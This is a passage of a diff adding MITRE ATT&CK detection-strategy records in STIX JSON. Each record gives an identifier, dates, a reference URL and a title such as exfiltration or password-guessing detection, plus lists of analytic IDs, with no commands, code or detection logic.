"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1177cbb7-bc00-4a36-8774-d51b7b3c66e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0484", + "external_id": "DET0484" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-Platform Cloud Storage Exfiltration Behavior Chain", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d9a1ace1-6307-4db7-925f-67057361e66a", + "x-mitre-analytic--8226ce94-1f5b-4ab0-b0bc-92f1d225eaa4", + "x-mitre-analytic--4eca5ae6-797c-41cb-bacd-dc7a6da58fb0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e98d37af-727b-44a7-a72b-cdcf8a481a12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0372", + "external_id": "DET0372" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-Platform Detection Strategy for T1678 - Delay Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--28e26a6a-e470-4f1c-845f-f2cbd816a1f7", + "x-mitre-analytic--dcc422d4-90fc-4e2a-afd5-b4fbc3d6c4a1", + "x-mitre-analytic--94871740-e9ae-458a-9d09-ef0f58c05905" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--99bdd6d6-ebef-40e2-83d2-2f39408c82e3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0562", + "external_id": "DET0562" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-Platform Execution Guardrails Environmental Validation Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8089daf3-72b0-4714-b800-2856f27dc21c", + "x-mitre-analytic--31027842-f02c-4bc3-8cd6-3e4b533da5ac", + "x-mitre-analytic--65abf5f4-ddb9-4eac-a926-1bef5d6b5c63", + "x-mitre-analytic--1cd8c844-575a-44be-9fee-80cd988dc781" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--682ddf59-6de3-4765-a1c0-09b539fa5d4f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0299", + "external_id": "DET0299" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-Platform File and Directory Permissions Modification Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0669b8b5-8888-45aa-acf8-819dfb7d00a2", + "x-mitre-analytic--e268a6cb-2264-473e-9683-fb0f33ecd793", + "x-mitre-analytic--e564e2b8-542b-4003-a8b7-df9d3396f5b9", + "x-mitre-analytic--13a1653f-3d4e-4a4f-9619-f8e8a97ec60d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2a464ecb-46ef-41f0-8ab6-a97a99ad0559", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0559", + "external_id": "DET0559" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-Platform Shutdown or Reboot Detection via Execution and Host Status Events", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--52b9bf67-304e-403f-9b81-4d4b9d974ad6", + "x-mitre-analytic--f1a019df-12f0-442e-9b0e-b1a82352389b", + "x-mitre-analytic--6b11c208-4dbf-4d52-9254-524e622c6250", + "x-mitre-analytic--d076faf3-c5bd-4e5c-93a5-8408c9e80fe1", + "x-mitre-analytic--9c70d5b3-8748-4f88-8fd8-95f79c73d250" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f18dee58-43be-41e4-85a3-c6820033ac0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0392", + "external_id": "DET0392" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-Platform Software Discovery Behavior Chain", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c0bbe0a5-680f-487b-8f5f-27703efb52b7", + "x-mitre-analytic--c14042f6-5ebd-42a2-b293-b2367b300fb6", + "x-mitre-analytic--a1619e8f-10aa-46ab-8776-898e8c3d5b43", + "x-mitre-analytic--3ccd6662-c579-494f-bbfa-ffc3530e3db2", + "x-mitre-analytic--0119786d-ee1e-4857-b31a-3a43830e28e7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--722d2e3d-c3ad-4878-bcef-ca3161465342", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0327", + "external_id": "DET0327" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-event Detection Strategy for RDP-Based Remote Logins and Post-Access Activity", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--63fcb4be-f5c2-47da-951d-cd1b4f1a2cc0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--407286ed-c904-412a-9f2d-7426ea7304a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0359", + "external_id": "DET0359" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-hop Proxy Behavior via Relay Node Chaining, Onion Routing, and Network Tunneling", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--128315ea-6407-4c28-8528-209e799ad8e1", + "x-mitre-analytic--2416a634-3ad9-4f91-a894-8fb0d9d83b76", + "x-mitre-analytic--b97a1c6e-bb02-4e14-ae57-6a9e96512657", + "x-mitre-analytic--08370ff8-9442-42c0-bfb5-c7f5792c74ea", + "x-mitre-analytic--a691ee45-94bf-4244-a286-b80c21859d2e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7a182af0-a7e1-41a1-ae5e-ac76ff7f5948", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0023", + "external_id": "DET0023" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Obfuscated Binary Unpacking Detection via Behavioral Patterns", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e6a7eeb3-0652-460c-b68b-f17d2ed82822", + "x-mitre-analytic--3cb4d3f4-df71-474c-a9f0-438dbf26bf66", + "x-mitre-analytic--003c2ca3-a9a8-4a56-9163-f6733f19b41d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b3ce3826-401f-4549-92ce-c825b4ddafb0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0551", + "external_id": "DET0551" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Password Guessing via Multi-Source Authentication Failure Correlation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--52dfd8de-910a-4caa-98a7-6dcf44ef903e", + "x-mitre-analytic--14390641-6cba-4351-a488-bf97c6eee8a7", + "x-mitre-analytic--53336c8f-a218-462a-b97c-aac07cf96077", + "x-mitre-analytic--f525a464-a4e5-40fb-831a-162af2f232e7", + "x-mitre-analytic--13556e3f-80f0-4aac-83f0-0d6c706e76ff", + "x-mitre-analytic--1d8bc80f-8719-41f0-a73e-127d6830f516" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--72742281-7457-4124-a277-7f3cf5e23f4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0161", + "external_id": "DET0161" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Password Policy Discovery \u2013 cross-platform behavior-chain analytics", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ae82099a-0baf-4887-953c-67ef5e2d4470", + "x-mitre-analytic--bcf6e9cb-fee9-4efd-8998-03de4908448b", + "x-mitre-analytic--4f71c7bd-dd25-43c7-ac5c-7a85c7588759", + "x-mitre-analytic--12f9a28b-126d-48b1-bc93-5bc3c1635905", + "x-mitre-analytic--0b0d50a0-d07b-4cf1-9cb0-23c95e8321b2", + "x-mitre-analytic--d71a1e3e-6507-438b-9ee2-f80dc1f938d2", + "x-mitre-analytic--d93312e3-210a-4757-b638-4ed19fca8621" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f273ee4a-e468-4a01-bb1a-f3a687518ded", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0491", + "external_id": "DET0491" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Peripheral Device Enumeration via System Utilities and API Calls", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a986c8fd-6779-4769-895a-e6d167d9f1a9", + "x-mitre-analytic--c8d9ad93-e4ce-4b00-89cb-8f0f6452923d", + "x-mitre-analytic--479e5749-a746-4b17-9543-ca4b9d41576a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--68b7c978-74e4-4f87-a953-2a4e752f56c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0302", + "external_id": "DET0302" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Port-knock \u2192 rule/daemon change \u2192 first successful connect (T1205.001)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--22ff1717-6ba8-4908-b795-edf0c41a997e", + "x-mitre-analytic--7bf8954f-5028-419d-b93f-9c6bfe6e5086", + "x-mitre-analytic--39da0718-fa22-4f77-8bd2-ea8300087658", + "x-mitre-analytic--fe82e2a6-a928-4fe0-a899-fead90eabb29" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ee07e9eb-8438-4c7c-8260-88a09fbe98de", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0105", + "external_id": "DET0105" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Post-Credential Dump Password Cracking Detection via Suspicious File Access and Hash Analysis Tools", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d2a45051-b999-4969-aeb0-d7f83d453976", + "x-mitre-analytic--7efdc4e3-8a2e-4d0d-8ced-03155f2c55ac", + "x-mitre-analytic--3682e3c9-33a7-4328-b0c5-73c8bbcb9b53", + "x-mitre-analytic--0084089f-6e5f-42c4-8b0d-78e95cd55d0f", + "x-mitre-analytic--029db14d-fb94-49ee-9d6d-3c7212671377" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3d515fbc-0ebf-4a99-b191-b6ee604acb1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0358", + "external_id": "DET0358" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Programmatic and Excessive Access to Confluence Documentation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--62f43db8-4701-49b9-bb0e-a8fde37e5d07" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--33ab9d0c-5671-48e6-8465-f80560909c65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0370", + "external_id": "DET0370" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Recursive Enumeration of Files and Directories Across Privilege Contexts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--69d9d158-aa43-4b73-b9a4-f1a2dc6c13c1", + "x-mitre-analytic--b50bf863-644a-48c2-85a3-2c633f135650", + "x-mitre-analytic--42683860-d6df-4585-af65-31f783269f8f", + "x-mitre-analytic--aaddc766-52bb-428b-98c4-3a742d10befa", + "x-mitre-analytic--be6e5f23-0e29-430f-83f7-d76c58de3a2d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6b47bf45-a3f2-4d4b-884a-3cec3ef3f994", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0542", + "external_id": "DET0542" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Registry and LSASS Monitoring for Security Support Provider Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b4a380ed-cc16-47cd-8fe1-44ccf4cad097" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--834e853c-479d-4ddd-a1a3-349b09466b8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0259", + "external_id": "DET0259" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Remote Desktop Software Execution and Beaconing Detection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fe1e10ae-ddd2-40f0-8e62-3db88c0c8c68", + "x-mitre-analytic--77769a6d-f3f4-42f1-a9a7-0d1096563115", + "x-mitre-analytic--1d46bf4d-a090-4865-9205-e271d223da42" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8225c396-cbf9-499a-b94d-bdc7a1f07458", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0301", + "external_id": "DET0301" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Removable Media Execution Chain Detection via File and Process Activity", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--12c748a0-3ce9-4fd2-8a65-f4362b69cafd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c2648552-806d-40ec-8ea7-59f4e44983eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0005", + "external_id": "DET0005" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Renamed Legitimate Utility Execution with Metadata Mismatch and Suspicious Path", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ec036273-4e90-465e-b115-a69bbb68dde4", + "x-mitre-analytic--3349af7c-3cea-4424-b2a4-056fedb63831", + "x-mitre-analytic--bd8beea8-48c8-41dc-8991-f8c739d10c70" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--440ddaf2-4e80-4699-90d7-0bdccdfeece6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0267", + "external_id": "DET0267" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Resource Hijacking Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a789e535-cab9-49b4-9685-c10a5d3642b4", + "x-mitre-analytic--7d099bc4-1a19-4aa3-b12b-a9390e98408a", + "x-mitre-analytic--8cbeecbb-429f-4f30-9f42-266aaa7b2c0f", + "x-mitre-analytic--8e1872c2-906c-4cf8-b0c7-afd448fe1c0b", + "x-mitre-analytic--791ea4ff-7a49-4aa7-a41c-51288031e0f0", + "x-mitre-analytic--6e5bfc6b-3f07-426b-ac9f-6a8cc6b591c3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c3c32822-80b2-4399-8e82-15cefaa80333", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0527", + "external_id": "DET0527" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Right-to-Left Override Masquerading Detection via Filename and Execution Context", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fb330f70-f0f4-4a5b-9b91-37d29a097a4c", + "x-mitre-analytic--667326a7-1f31-4ef1-92c1-6cb5241dadcf", + "x-mitre-analytic--7a72f91d-9c16-4724-b87d-3e5448f81b51" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e2409f82-e24c-4bb9-ad44-b20d97fb7a5a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0016", + "external_id": "DET0016" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Security Software Discovery Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d0d1375d-f5c2-4271-b5e7-415c478d5e86", + "x-mitre-analytic--3928ff9c-961e-455c-a2b1-d79ca788591f", + "x-mitre-analytic--9d76d84b-6393-45cf-b872-eb5921508ee3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bc8cd246-1521-4643-a07e-428d45093b38", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0110", + "external_id": "DET0110" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Setuid/Setgid Privilege Abuse Detection (Linux/macOS)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c7d513f4-5113-4031-8125-7f145128c2e1", + "x-mitre-analytic--08314a8b-becd-4853-8a6c-dd5a947b36c0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + 